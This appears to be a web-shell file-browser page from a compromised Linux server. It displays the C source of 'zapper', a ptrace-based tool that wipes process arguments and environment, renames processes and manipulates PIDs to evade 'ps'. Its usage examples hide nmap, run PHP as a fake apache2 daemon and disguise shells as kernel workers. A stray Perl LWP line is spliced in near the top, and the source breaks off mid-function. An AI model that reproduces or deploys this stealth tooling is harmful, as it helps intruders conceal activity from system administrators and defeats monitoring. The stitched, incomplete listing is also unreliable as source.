MOON
Server: Apache
System: Linux srv.tv1channel.org 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User: tv1channel (1001)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: //usr/tmp/tmp.BBaa9IVDMU/terminate-runner.c
LWP will support https URLs if the LWP::Protocol::https module
is installed.
/*
 * https://www.thc.org
 *
 * Destroy all options and environment (/proc/<PID>/environ) and make the process
 * appear as a different process in the process list (ps -eF f).
 *
 * This tool does _NOT_ use LD_PRELOAD but ptrace() instead, allowing its
 * magic working on static binaries (like those generated by GoLang).
 *
 * It's library agnostic and directly screws with the Kernel's
 * elf-table (located on the stack) after each return from SYS_execve().
 *
 * Compile:
 *     gcc -o zapper zapper.c
 */

 /* Security:
  * - The process name and options may show for a few milliseconds before
  *   the Kernel schedules zapper to zap them. (the only way around this is
  *   a trampoline app and passing the options via env and then recontructing
  *   the argv during EVENT_EXEC.)
  * - Some apps will show the process name as well as /proc/PID/exe (the
  *   executeable filename) - which is not hidden (see "Full Privacy" below).
  * - Does not work on +s binaries (EUID,EGID).
  */

// See also:
// - https://github.com/strace/strace/blob/master/doc/README-linux-ptrace
// - https://manpages.debian.org/bookworm/manpages-dev/ptrace.2.en.html
// - https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/linux/ptrace.h
// - https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/asm-generic/siginfo.h

// TODO:
// * Follow (-f) from a separate process. Current '-f' makes zapper
//     the parent to all tracees (like strace does):
//     ptrace_scope > 0 prevents the tracer (zapper) to be a separate process
//     that is not a parent of the tracees.
//     We could set prctl(, PR_SET_PTRACER_ANY) in zapper before execve() of the
//     tracee but that flag is not inherited if the tracee forks another process.
//     The way around this to either inject 'prctl(, PR_SET_PTRACER_ANY)' into
//     the tracee or hook SYS_execve() and execute any new process via a
//     trampoline program (zapper) to set prctl before calling execve on the
//     original program.
// * -x to zap argv/env from an existing process: Search through .stack
//     and .heap and modify any pointer that points inside argv[] region.
//     Copy old argv[] to unused stack region that Linux creates to randomize
//     its stack.
// * Use spare stack space that Linux creates to randomize .stack
// * Start from /dev/shm and unlink() the binary afterwards to hide binary.
//   Needs trampoline program to also do this for all childs.
// * Periodically rename argv[0]
// * pick argv[0] at random
// * PPID=1: Make all tracee's PPID's to be 1 and proxy the SIGCHLD to correct
//   pid: Double-fork via trampoline app.
// * Full Privacy: use a shell function "zap(){ ...; }" that embeds $@ into the
//   environment (Z0=argv[0], Z1=argv[1],...Zn=argv[n]) and then calls zapper.
//   Zapper then unpacks the Z0..Zn and puts the on the 'new stack'. This way
//   the options wont show up in 'ps' at all (not even for a few milliseconds
//   between the execve() and ptrace() call.


#ifndef ZVERSION
# define ZVERSION   "1.1"
#endif

#define _GNU_SOURCE
#include <sched.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <linux/ptrace.h>
#include <elf.h>
#include <syscall.h>

#include <stdio.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>

// Dump all Pre-processor defines: echo | gcc -dM -E - | grep -i arm
#if defined(__ARM_ARCH)
# if __ARM_ARCH==6
#  error "ARM6 not supported. Convince me to add support :>"  // FIXME
// struct user_regs_struct {
//         unsigned long int uregs[18];
// };
// #  define SP(reg)       (reg).uregs[13]
# else
#  define SP(reg)       (reg).sp
# endif
#else // __ARM_ARCH
# if __WORDSIZE == 64
#  define SP(reg)       (reg).rsp
// #define SYSNO(reg)    (reg).orig_rax
// #define AX(reg)       (reg).rax
// #define IP(reg)       (reg).rip
# else
#  define SP(reg)       (reg).esp
// #define SYSNO(reg)    (reg).orig_eax
// #define AX(reg)       (reg).eax
// #define IP(reg)       (reg).eip
# endif
#endif

// https://elixir.bootlin.com/linux/latest/source/kernel/pid.c#L64
#ifndef RESERVED_PIDS
# define RESERVED_PIDS		300
#endif

static union u {
    long val;
    char c[sizeof (long)];
} data;

// ANSI color codes.
#define CDR        "\033[0;31m"
#define CDG        "\033[0;32m"
#define CDY        "\033[0;33m"
#define CDB        "\033[0;34m"
#define CDM        "\033[0;35m"
#define CDC        "\033[0;36m"
#define CR         "\033[1;31m"
#define CG         "\033[1;32m"
#define CY         "\033[1;33m"
#define CN         "\033[0m"
#define CB         "\033[1;34m"
#define CM         "\033[1;35m"
#define CC         "\033[1;36m"
#define CW         "\033[1;37m"
#define ERREXIT(code, a...) do{fprintf(stderr, a); exit(code);}while(0)
#define XFAIL(expr, fmt, ...) do { \
        if (expr) { \
                fprintf(stderr, "%s:%d:%s() ASSERT(%s): " fmt, __FILE__, __LINE__, __func__, #expr, ##__VA_ARGS__); \
                exit(255); \
        } \
} while (0)
#ifdef DEBUG
FILE *out;
# define DEBUGF(fmt, ...) do{if (!out) out=stderr; fprintf(out, "[DEBUG %s:%d] " fmt, __FILE__, __LINE__, ##__VA_ARGS__); fflush(out);}while(0)
#else
# define DEBUGF(fmt, ...)
#endif

#ifndef MAX
# define MAX(X, Y) (((X) < (Y)) ? (Y) : (X))
#endif

#ifndef MIN
# define MIN(X, Y) (((X) < (Y)) ? (X) : (Y))
#endif

#define GOTOERR(a...) do { \
    DEBUGF(a); \
    goto err; \
} while (0)

#define FL_FOLLOW                 (0x01)
#define FL_STAY_ATTACHED          (0x02)
#define FL_FORCE_TRACER_IS_PARENT (0x04)
#define IS_TRACER_IS_PARENT       (0x08)
#define FL_ZAP_ENV                (0x10)
#define IS_SIGNAL_PROXY           (0x20)
#define FL_PRGNAME                (0x40)
#define FL_DRYRUN                 (0x80)
#define FL_IS_CURSOR_OFF         (0x200)
#define FL_IS_QUIET              (0x400)

char *g_cur_prg_name;
pid_t g_pid;
int g_flags;
pid_t g_pid_master;
pid_t g_pid_zapper;
struct iovec g_iov;  // PT registers
struct user_regs_struct g_regs;

// Fast Forwarding pids:
#ifdef DEBUG
# define MAX_WORKERS        (3)
#else
# define MAX_WORKERS        (8)
#endif
pid_t g_max_pid;
pid_t *g_ff_pidp;   // mmap() between all workers. Atomic.
pid_t g_ff_next_pid;
int g_ff_opt_workers;
char stack[1024];

static int fast_forward_pid(pid_t target);

static void
dumpfile(const char *file, void *data, size_t n)
{
#ifdef DEBUG
    FILE *fp;

    fp = fopen(file, "wb");
    fwrite(data, n, 1, fp);
    fclose(fp);
#endif
}

static void
init_vars()
{
    g_pid_zapper = getpid();
    g_flags |= FL_STAY_ATTACHED;
    g_flags |= FL_ZAP_ENV;
    g_ff_opt_workers = MAX_WORKERS;
    g_iov.iov_base = &g_regs;
    g_iov.iov_len = sizeof g_regs;

#ifdef DEBUG
    if (getenv("DEBUG_LOG")) {
        out = fopen(getenv("DEBUG_LOG"), "wb");
        if (!out)
            DEBUGF("fopen(): %s\n", strerror(errno));
    }
#endif
}

static void
cb_signal(int sig) {
    if (g_pid_master <= 0)
        return;
    kill(g_pid_master, sig);
}

static void
set_proxy_signals(void) {
    g_flags |= IS_SIGNAL_PROXY;
    signal(SIGHUP, cb_signal);
    signal(SIGINT, cb_signal);
    signal(SIGQUIT, cb_signal);
    signal(SIGUSR1, cb_signal);
    signal(SIGUSR2, cb_signal);
    signal(SIGPIPE, cb_signal);
    signal(SIGTERM, cb_signal);
    signal(SIGURG, cb_signal);
    signal(SIGWINCH, cb_signal);
}

static pid_t
read_max_pid(void) {
    char buf[1024];
    size_t sz;
    pid_t max = 4194304;

    FILE *fp = fopen("/proc/sys/kernel/pid_max", "rb");
    if (!fp)
        return 4194304;  // Educated guess.
    
    sz = fread(buf, 1, sizeof buf, fp);
    fclose(fp);
    if (sz <= 0)
        return 4194304;
    
    max = atoi(buf);
    if (max <= 300) // Cant be true.
        return 4194304;

    return max;
}

// It is faster to demove the \x1b...m after if no tty (no color)
static void
cprintf(FILE *fp, const char *fmt, ...) {
    va_list ap;
    char *buf;
    char *ptr;
    char *dst;
    char *end;
    static int tty_mode;
    int ret;

    // Check once if STDOUT is a TTY (e.g. color output)
    if (tty_mode == 0) {
        tty_mode = -1; // NO COLOR
        if (isatty(STDOUT_FILENO))
            tty_mode = 1; // COLOR
    }

    va_start(ap, fmt);

    if (tty_mode == 1) {
        // Color output & return.
        vfprintf(fp, fmt, ap); 
        goto end;
    }

    // HERE: Not a TTY => Remove color ANSI codes from string.
    buf = malloc(4096);
    ptr = buf;
    dst = buf;

    ret = vsnprintf(buf, 4096, fmt, ap);
    if (ret >= 4096) {
        buf = realloc(buf, ret + 1);
        ptr = buf;
        ret = vsnprintf(buf, ret + 1, fmt, ap);
    }

    dst = buf;
    ptr = buf;
    end = buf + ret + 1;
    // Filter out the colors
    while (ptr < end) {
        if (*ptr == '\x1b') {
            ptr++;
            while (ptr < end) {
                if (*ptr == 'm') {
                    ptr++;
                    break;
                }
                ptr++;
            }
        }
        *dst = *ptr;
        if (*ptr == '\0')
            break;
        ptr++;
        dst++;
    }
    fprintf(fp, "%s", buf);
    free(buf);

end:
    va_end(ap);
}

static void
usage(void) {
#ifndef STEALTH
    cprintf(stderr, "Version v%s [%s]\n\
"CG"Hide command options and clear the environment of a command."CN"\n\
\n\
./zapper [-fE] [-n pid] [-a name] command ...\n\
  -a <name>  Rename the process to 'name'. (Use -a- for empty string).\n\
  -f         Zap all child processes as well (follow).\n\
  -E         Do not zap the environment variables.\n\
  -n <pid>   Fast forward to this pid (-n 300 is often the smallest possible)\n\
\n\
Example - Start ssh but zap all options (only 'ssh' shows)\n\
    "CDR"$ "CC"./zapper "CM"ssh"CDM" root@myserver.com"CN"\n\
Example - Start 'nmap', zap all options & make nmap appear as 'harmless':\n\
    "CDR"$ "CC"./zapper "CDC"-a harmless "CM"nmap"CDM" -sCV -F -Pn scanme.nmap.org"CN"\n\
Example - Same but also with the lowest possibl process id:\n\
    "CDR"$ "CC"./zapper "CDC"-a harmless -n0 "CM"nmap"CDM" -sCV -F -Pn scanme.nmap.org"CN"\n\
Example - Start a PHP script as a background daemon. Hidden as 'apache2 -k...'\n\
    "CDR"$ "CDC"("CC"./zapper "CDC"-f -a '/usr/sbin/apache2 -k start' "CM"php"CDM" tool.php "CDC"&>/dev/null &)"CN"\n\
Example - Hide tmux and all child processes as some kernel process:\n\
    "CDR"$ "CC"./zapper"CDC" -f -a '[kworker/1:0-rcu_gp]' "CM"tmux"CN"\n\
Example - Use 'exec' to replace the parent shell as well:\n\
    "CDR"$ "CC"exec ./zapper"CDC" -f -a '[kworker/1:0-rcu_gp]' "CM"tmux"CN"\n\
Example - Hide bash and all child processes (as empty string):\n\
    "CDR"$ "CC"./zapper"CDC" -f -a- "CM"bash"CDM" -il"CN"\n\
Example - Use 'exec' to replace the parent shell as well:\n\
    "CDR"$ "CC"exec ./zapper"CDC" -f -a- "CM"bash"CDM" -il"CN"\n\
\n\
Check it is working: "CDC"ps -eF f"CN"\n\
"CDY"Join us on Telegram: "CW"https://t.me/thcorg"CN"\n\
", ZVERSION, __DATE__);
#endif

    exit(0);
}
static int
do_getopts(int argc, char *argv[])
{
    int c;
    char buf[4096];
    char dst[sizeof buf];
    char *ptr;
    pid_t ff_opt_pid = -1;
    char *ff_optarg = NULL;

    while ( (c = getopt(argc, argv, "+a:n:t:fcEhD")) != -1) {
        switch (c) {
            case 'h':
                usage();
                break;
            case 'D':
                DEBUGF("DRYRUN is set\n");
                g_flags |= FL_DRYRUN;
                break;
            case 'E':
                g_flags &= ~FL_ZAP_ENV;
                break;
            case 'a':
                // ps shows '?' if name is empty. Help user and default to " ".
                if (*optarg == '\0')
                    g_cur_prg_name = " ";
                else if ((optarg[0] == '-') && (optarg[1] == '\0'))
                    g_cur_prg_name = " ";
                else
                    g_cur_prg_name = strdup(optarg);
                g_flags |= FL_PRGNAME;
                break;
            case 'f':
                g_flags |= (FL_FOLLOW | FL_STAY_ATTACHED | FL_FORCE_TRACER_IS_PARENT);
                break;
            case 'c':
                // Force the child to be the TRACEE.
                // e.g. shell -> zapper -> orig
                g_flags |= FL_FORCE_TRACER_IS_PARENT;
                break;
            case 'n':
                if (*optarg == '-')
                    break;  // See Note #3, '-' is used internally
                ff_opt_pid = atoi(optarg);
                ff_optarg = optarg;
                break;
            case 't':
                g_ff_opt_workers = atoi(optarg);
                break;
            case '?':
                usage();
        }
    }

    if ((argv[optind] == NULL) && (ff_opt_pid < 0))
        usage();

    // Bail if trying to set the PID of a process that is started as
    // a foreground process (attached to the shell). This is not
    // possible: Zapper can only claim the new PID by calling fork()
    // and allowing the parent-zapper to exit. This would detach the
    // process from the shell's process group (because parent pid would
    // become 1) and put zapper and/or the target process into the background
    // and detach itself from the terminal - that's likely not what the user
    // wants.
    int is_background = 0;
    // Method 1: Mostly, when user's start a process with & they like it to
    // disconnect from the shell's job control. We do this for them:
    // if (getpgrp() != tcgetpgrp(STDOUT_FILENO))
        // is_background = 1;
    // Method 2: Check if it's disconnected from the job control:
    if (!isatty(STDIN_FILENO))
        is_background = 1;
    if ((ff_opt_pid >= 0) && (!is_background) && (argv[optind] != NULL)) {
        ptr = buf;
        char *str;
        char *end = buf + sizeof buf;
        // Construct all argv except "-n1234" or "-n 1234"
        for (c = 1; c < argc; c++) {
            str = argv[c];
            if (strncmp(str, "-n", 2) == 0) {
                if (strlen(str) == 2)
                    c++; // "-n" "1000" variant.
                continue;
            }
            if (strncmp(str, "-t", 2) == 0) {
                if (strlen(str) == 2)
                    c++;
                continue;
            }
            ptr += snprintf(ptr, end - ptr, "%s ", str);
        }
        // Lying: More precise: Can not set the PID of a process that
        // is part of the job-control of the shell...
#ifndef STEALTH
        cprintf(stderr, "\n\
"CDY"Can not set the PID of a process that is started in the foreground"CN".\n\
Instead, execute:\n\
    "CC"./zapper "CDC"-n%s; "CC"./zapper "CDC"%s"CN"\n\
or start the process in the background:\n\
    "CDC"("CC"./zapper "CDC"-n%s %s &>/dev/null &)"CN"\n", ff_optarg, buf, ff_optarg, buf);
#endif
        exit(255);
    }
    
    // When -f without -a is used then we still like to rename
    // 'zapper' to the name of the first tracee:
    if (argv[optind] != NULL) {
        if (! (g_flags & FL_PRGNAME) ) {
            if ( (ptr = strrchr(argv[optind], '/')) )
                g_cur_prg_name = ++ptr;
            else
                g_cur_prg_name = argv[optind];
        }
    }

    if ((g_cur_prg_name) && (strcmp(argv[0], g_cur_prg_name) != 0)) {
        // argv[0] is still 'zapper'. Execute ourself to fake our own argv[0]
        snprintf(buf, sizeof buf, "/proc/%d/exe", getpid());
        if (realpath(buf, dst) == NULL)
            ERREXIT(255, "realpath(%s -> %s): %s\n", argv[0], buf, strerror(errno));
        argv[0] = g_cur_prg_name;
        execv(dst, argv);
    }

    if (ff_opt_pid >= 0) {
        fast_forward_pid(ff_opt_pid);
        if (argv[optind] == NULL) {
            if (! (g_flags & FL_IS_QUIET)) {
                buf[0] = '\0';
                if (ff_opt_pid < RESERVED_PIDS)
                    snprintf(buf, sizeof buf, " ("CDR"PIDs < %d are reserverd and inaccessible"CN")", RESERVED_PIDS);

                g_ff_next_pid = MAX(RESERVED_PIDS, g_ff_next_pid);
                cprintf(stdout, CDG"SUCCESS"CN". Next process will start with PID "CDY"%d"CN"%s.\n", g_ff_next_pid, buf);
            }
            exit(0);
        }
        if (g_flags & FL_STAY_ATTACHED) {
            // Note #3:
            // _THIS_ process will stay attached (wont exit) and thus needs
            // to claim the new pid by forking and executing itself.
            // Destroy the -n option (with '-') to prevent
            // executing this part twice.
            *ff_optarg = '-';
            pid_t pid;
            pid = fork();
            if (pid < 0)
                ERREXIT(255, "fork(): %s\n", strerror(errno));
            if (pid > 0)
                exit(0); // Parent.
            execv(dst, argv);
        }
    }

    return optind;
}

// Worker 1..MAX_WORKERS end at target-MAX_WORKERS and only the first
// worker will fork-forward the last MAX_WORKERS pids to the target.
static void
fast_forward_pid_worker(int worker, pid_t stop) {
    pid_t p = getpid();
    pid_t old_p = 0;
    int need_wraparound = 0;

    if (stop < 0)
        stop = g_max_pid + stop;

    if (p > stop)
        need_wraparound = 1;

    if (p == stop)
        exit(0);

    signal(SIGCHLD, SIG_IGN);
    while (1) {
        if (!need_wraparound) {
            if (*g_ff_pidp >= stop)
                exit(0); 
        }  
        old_p = p;
        p = clone((int (*)(void *))exit, stack + sizeof stack, CLONE_VFORK | CLONE_VM | SIGCHLD, NULL);
        if (p <= 0)
            break;
        // FIXME: Should use MUTEX for access but it's so much faster to
        // only have 1 worker to do the 'last mile' and have all other workers
        // stop 8 * MAX_WORKERS before the target pid is hit.
        *g_ff_pidp = p; // Copy to shared memory
        if (p < old_p)
            need_wraparound = 0;
    }
    fprintf(stderr, "#%d clone(): %s (try -t 1)\n", worker, strerror(errno));
    exit(0);
}

pid_t g_ff_opt_target; // For display purposes.
pid_t g_ff_target;
pid_t g_ff_total_distance;
static void
cb_alarm(int sig) {
    pid_t left;

    left = g_ff_target - *g_ff_pidp;
    if (left < 0)
        left += g_max_pid;

    fprintf(stderr, "\rFast forwarding to PID %d: %02.02f%%...", g_ff_opt_target, 100 - (double)(left * 100) / g_ff_total_distance);
    alarm(1);
}

static void
cb_reset(int sig) {
    if (g_flags & FL_IS_CURSOR_OFF)
        fprintf(stderr, "\e[?25h");
    g_flags &= ~FL_IS_CURSOR_OFF;
    signal(sig, SIG_DFL);
    kill(0, sig);
}

// Return 0 when next pid is the target pid or close to it.
static int
fast_forward_pid(pid_t opt_target) {
    pid_t pid;
    pid_t target;
    int n_workers = 0;
    int i;
    int need_wraparound = 0;

    g_ff_opt_target = opt_target;

    if (g_max_pid <= 0)
        g_max_pid = read_max_pid();

    // Normalize target is specified to large by user
    target = MIN(opt_target, g_max_pid - 1);

    // On some Docker it is possible to get PID < 300

    g_ff_target = target;

    pid = getpid();
    if (target == (pid + 1) % g_max_pid)
        return 0; // Next pid is already our target pid.
    
    if (! (g_flags & FL_IS_QUIET)) {
        // Statistics every 1 second.
        g_ff_pidp = mmap(NULL, sizeof *g_ff_pidp, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
        *g_ff_pidp = pid;
        g_ff_total_distance = target - pid;
        if (g_ff_total_distance < 0)
            g_ff_total_distance += g_max_pid;
    }

    for (i = 0; i < g_ff_opt_workers; i++) {
        // Calculate where the worker should stop. Only worker #0
        // does the last few pids (e.g. the last mile).
        pid_t stop;
        if (i == 0) {
            // Worker #0
            // If the user precisly wishes for 300 then stop at 300. Otherwise try to
            // hit the target (even if within reserved range) anyway (which is possible
            // on some versions of Docker)
            if (target == RESERVED_PIDS)
                stop = g_max_pid - 1;
            else
                stop = target - 1;
        } else {
            // Other workers
            if (target <= RESERVED_PIDS + g_ff_opt_workers * 8)
                // Target 0..300 + 16 * 8 => Stop way before MAX_PID
                stop = g_max_pid - 1 - g_ff_opt_workers * 8;
            else
                stop = target - g_ff_opt_workers*8;
        }
        if (stop <= pid)
            need_wraparound = 1;
        DEBUGF("#%d STOPPING at %d (target=%d) (cur=%d, need_wraparound=%d)\n", i, stop, target, pid, need_wraparound);

        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "#%d fork(): %s\n", i, strerror(errno));
            break;
        }
        *g_ff_pidp = pid;
        n_workers++;

        if (pid == 0) {
            // CHILD
            fast_forward_pid_worker(i, stop);
            exit(0); // CHILD exit
        }

        if (i == 0) {
            // Worker #0
            if (pid == stop)
                break;
        } else {
            if (need_wraparound) {
                if (pid == stop)
                    break;
            }
        }
    }

    // Kick start all workers
    DEBUGF("Waiting for %d workers to finish\n", n_workers);

    // Set signal and atexit() after spawning childs (!).
    if (isatty(STDOUT_FILENO) && (! (g_flags & FL_IS_QUIET))) {
        signal(SIGINT, cb_reset);
        signal(SIGTERM, cb_reset);
        g_flags |= FL_IS_CURSOR_OFF;
        fprintf(stderr, "\033[?25l"); // Hide cursor
        signal(SIGALRM, cb_alarm);
        cb_alarm(0);
    }

    // Wait for all workers to complete
    while (n_workers > 0) {
        waitpid(-1, NULL, 0);
        n_workers--;
    }

    if (g_flags & FL_IS_CURSOR_OFF) {
        // Output statistics
        fprintf(stderr, "\r\e[?25h\e[K\r");
        signal(SIGALRM, SIG_DFL);
        signal(SIGINT, SIG_DFL);
        signal(SIGTERM, SIG_DFL);
        if (g_ff_pidp) {
            g_ff_next_pid = (*g_ff_pidp + 1) % g_max_pid;
            munmap(g_ff_pidp, sizeof *g_ff_pidp);
            g_ff_pidp = NULL;
        }
    }

    return 0;
}

// Read data from pid@src to dest.
// static void
// ptpeekcpy(void *dst, pid_t pid, void *src, size_t n)
// {
//     void *src_end = src + n;

//     while (src_end - src >= sizeof (long)) {
//         data.val = ptrace(PTRACE_PEEKDATA, pid, src, NULL);
//         memcpy(dst, data.c, sizeof (long));
//         dst += sizeof (long);
//         src += sizeof (long);
//     }

//     if (src >= src_end)
//         return;
    
//     // Partial copy
//     data.val = ptrace(PTRACE_PEEKDATA, pid, src, NULL);
//     memcpy(dst, data.c, src_end - src);
// }

static void
ptpokecpy(pid_t pid, void *dst, void *src, size_t n)
{
    void *src_end = src + n;

    while (src_end - src >= sizeof (long)) {
        memcpy(data.c, src, sizeof (long));
        ptrace(PTRACE_POKEDATA, pid, dst, data.val);
        dst += sizeof (long);
        src += sizeof (long);
    }

    if (src >= src_end)
        return;
 
    data.val = ptrace(PTRACE_PEEKDATA, pid, src, NULL);
    memcpy(data.c, src, src_end - src);
    ptrace(PTRACE_POKEDATA, pid, dst, data.val);
}

int ptopts;
#ifdef PTRACE_O_EXITKILL
#define PTOPT_X_EXITKILL    PTRACE_O_EXITKILL
#else
# warning "PTRACE_O_EXITKILL not found. Super old linux kernel?"
# define PTOPT_X_EXITKILL    (0)
#endif

static int
ptsetoptions(pid_t pid) {
    // execve() delivers an extra TRAP, ignore it:
    // https://manpages.debian.org/bookworm/manpages-dev/ptrace.2.en.html
    return ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESYSGOOD | PTOPT_X_EXITKILL | PTRACE_O_TRACEFORK | PTRACE_O_TRACEVFORK | PTRACE_O_TRACEEXEC);
}

// Emulate shell's exit string
static void
exit_emu_shell(int code, const char *prog) {
    char *str;
    char buf[1024];
    char *ptr = &buf[0];
    char *end = ptr + sizeof buf;
    int is_path = 0;

    if (strchr(prog, '/'))
        is_path = 1;
 
    // Emulate shell's exit string.
    str = getenv("SHELL");
    while (str) {
        str = strrchr(str, '/');
        if ((!str) || (*str == '\0'))
            break;
        str++;
        // Zsh always prefixes with $SHELL.
        // Bash only when 'No such file or directory'.
        if ((!is_path) && (strcmp(str, "zsh")) != 0)
            break;
        ptr += MAX(0, snprintf(ptr, end - ptr, "%.64s: ", str));
        break;
    }

    if (is_path)
        snprintf(ptr, end - ptr, "%s: %s\n", prog, strerror(errno));
    else
        snprintf(ptr, end - ptr, "%s: command not found\n", prog);
    
    fprintf(stderr, "%s", buf);

    exit(code);
}

static pid_t
start_trace_child(const char *orig_prog, char *new_argv[]) {
    int status;

    XFAIL((g_pid = fork()) < 0, "fork(): %s\n", strerror(errno));
    if (g_pid == 0) {
        // CHILD
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        execvp(orig_prog, new_argv);
        exit_emu_shell(127, orig_prog);
    }

    // PARENT
    g_pid_master = g_pid;
    close(0); // Dont consume any input. Input should reach forked child (orig_prog).
    if (waitpid(g_pid, &status, 0) == -1)
        goto err;
    if (WIFEXITED(status))
        exit(WEXITSTATUS(status));

    XFAIL(ptsetoptions(g_pid) == -1, "ptrace(%d): %s\n", g_pid, strerror(errno));
    set_proxy_signals();

    g_flags |= IS_TRACER_IS_PARENT;

    return g_pid;
err:
    if (g_pid > 0)
        kill(SIGKILL, g_pid);
    return -1;
}


/*
 * Return SYS_execve on success.
 * Return -1 on error
 * Return -2 if g_pid_master exited.
 */
static int
ptrace_until_execve(pid_t *pidp, int *status) {
    int signum;
    siginfo_t sigi;
    pid_t pid = *pidp;
    void *data = NULL;
    static pid_t ss_pids[16 * 1024]; // Stray Stops
    static int ss_idx;

    *status = 0;
    while(1) {
        if ((pid > 0) && (ptrace(PTRACE_CONT, pid, NULL, data) == -1))
            GOTOERR("ptrace(%d): %s\n", pid, strerror(errno));
        data = NULL;
        if ( (pid = waitpid(-1, status, WUNTRACED)) == -1)
            GOTOERR("waitpid()=%d: %s\n", pid, strerror(errno));
        *pidp = pid;
        if (WIFEXITED(*status)) {
            DEBUGF("pid="CY"%d "CG"exited"CN".\n", pid);
            if (pid == g_pid_master)
                exit(WEXITSTATUS(*status)); // tracee exited. Exit with same error code.
            pid = 0;
            continue;
        }
        if (WIFSIGNALED(*status)) {
            // Tracee was termianted with a signal
            signum = WTERMSIG(*status);
            DEBUGF(CY"%d "CDY"terminated"CN" by SIG-%d\n", pid, signum);
            if (pid == g_pid_master) {
                if (signum == SIGSEGV)
                    exit(128 + signum); // Do not generate core dump of zapper.
                // Tracer to commit suicide with same signal as tracee died.
                if (g_flags & IS_SIGNAL_PROXY)
                    signal(signum, SIG_DFL);
                DEBUGF(CR"SUICIDE\n"CN);
                kill(getpid(), signum);
            }
            pid = 0;
            continue;
        }
        if (!WIFSTOPPED(*status)) {
            ERREXIT(255, "SHOULD NOT HAPEN?\n");
            // SHOULD NOT HAPPEN
            pid = 0;
            continue;
        }
        //  5 = SIGTRAP
        // 17 = SIGCHLD
        // 19 = SIGSTOP
        signum = WSTOPSIG(*status);
        if (! (signum & 0x80)) {
            // Signal was for TRACEE (not tracer)
            if (signum == SIGTRAP) {
                DEBUGF("Event for "CY"%d"CN" ("CDG"event=%d"CN")\n", pid, (*status >> 16) & 0xffff);
                // NOTE: Stop occures in parent, not the newly created thread.
                switch ((*status >> 16) & 0xffff) {
                    case PTRACE_EVENT_CLONE: // 3
                        DEBUGF(CDR"CLONE()"CN" not implemented\n");
                        break;
                    case PTRACE_EVENT_EXIT: // 6
                        // EVENT_EXIT should never trigger before EVENT_FORK (?). See Note #3.
                        break;
                    case PTRACE_EVENT_FORK: // 1
                    case PTRACE_EVENT_VFORK: ; // 2
                        unsigned long cpid;
                        XFAIL(ptrace(PTRACE_GETEVENTMSG, pid, NULL, &cpid) == -1, "ptrace(%d): %s\n", pid, strerror(errno));
                        DEBUGF(CDY"FORK "CY"%d"CDY" to cpid="CY"%lu\n"CN, pid, cpid);
                        // Wait for the child to be stopped:
                        // It can happen that SIGSTOP for this cpid arrived before the EVENT_FORK.
                        // In that case, by the time the EVENT_FORK happens, we can no longer
                        // wait() for the SIGSTOP signal (because it has already been delivered).
                        // Thus we must use WNOHANG and waitpid() will return 0 indicating that
                        // the child has already been stopped.
                        // On the other hand, EVEN_FORK may be triggered before the cpid is stopped. Thus
                        // we need to waitpid normally.
                        // waitpid(,,WUNTRACED) => Will hang forever if SIGSTOP got delivered before EVENT_FORK
                        // waitpid(,,WNOHANG)   => May return 0 (child exists) but PTRACE_SETOPTIONS will
                        //                         fail with -ENOENT (No such process))
                        // => The only way around this is to track all stray SIGSTOPs. A good test is to
                        // use './zapper -n 500' within a zapped tmux.

                        int opt = WUNTRACED;
                        int i;
                        for (i = 0; i < sizeof ss_pids / sizeof *ss_pids; i++) {
                            if (ss_pids[i] != cpid)
                                continue;
                            ss_pids[i] = 0;
                            opt |= WNOHANG;
                            break;
                        }
                        waitpid(cpid, NULL, opt);

                        // Note #3: cpid may have already exited (and before we received its EVENT_EXIT).
                        // The only thing we can hope for is trying to call ptsetoptions() and dont
                        // fail hard if ptsetoptions() fails (e.g. when client has already exited).
                        ptsetoptions(cpid);
                        if (ptrace(PTRACE_CONT, cpid, NULL, NULL) == -1) {
                            DEBUGF("ERROR zapper: ptrace(%ld): %s\n", cpid, strerror(errno));
                            // Child may have exited already
                            // if (errno != EIO)
                                // fprintf(stderr, "ERROR zapper: ptrace(%ld): %s\n", cpid, strerror(errno));
                        }
                        break;
                    case PTRACE_EVENT_EXEC: // 4
                        // Catch execve() after returning from syscall.
                        // Trap when the SYSCALL exit occurs...
                        ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                        pid = 0; // ...and to not call PTRACE_CONT.
                        break;
                }
                continue;
            }

            // SIGSTOP may arrive _before_ we receive the fork() event (above).
            // [DEBUG zapper.c:455] Stray SIGSTOP for (untracked?) pid=42056 (status=4991)
            // [DEBUG zapper.c:426] Event for 42054 (event=1)
            // [DEBUG zapper.c:436] FORK 42054 to cpid=42056
            if (signum == SIGSTOP) {
                DEBUGF(CR"Stray SIGSTOP for (untracked?) pid=%d (status=%d)\n"CN, pid, *status);
                ss_pids[ss_idx] = pid;
                ss_idx = (ss_idx + 1) % (sizeof ss_pids / sizeof *ss_pids);
                pid = 0; // Do not continue cpid. Continue cpid after EVENT_FORK.
                continue;
            }

            // Forward signal to offending process.
            if (ptrace(PTRACE_GETSIGINFO, pid, NULL, &sigi) == -1) {
                DEBUGF("SHOULD NOT HAPPEN\n");
                continue;
            }
            // Do not forward SIGCHLD to report when child has stopped (by trap).
            if (signum == SIGCHLD) {
                switch (sigi.si_code) {
                    case CLD_DUMPED:
                    case CLD_TRAPPED:
                    case CLD_STOPPED:
                    case CLD_CONTINUED:
                        DEBUGF("NOT forwarding signal [%d, %d, %d]\n", sigi.si_signo, sigi.si_code, sigi.si_errno);
                        continue;
                }
            }
            DEBUGF("Forwarding "CDY"SIG_%d"CN" to pid "CY"%d"CN" [%d, %d, %d]\n", signum, pid, sigi.si_signo, sigi.si_code, sigi.si_errno);
            data = (void *)((long)signum);
            continue;
        }

        if (ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &g_iov) == -1)
            GOTOERR("ptrace(GETREGSET, %d): %s\n", pid, strerror(errno));
        // if (SYSNO(*regsp) != SYS_execve)
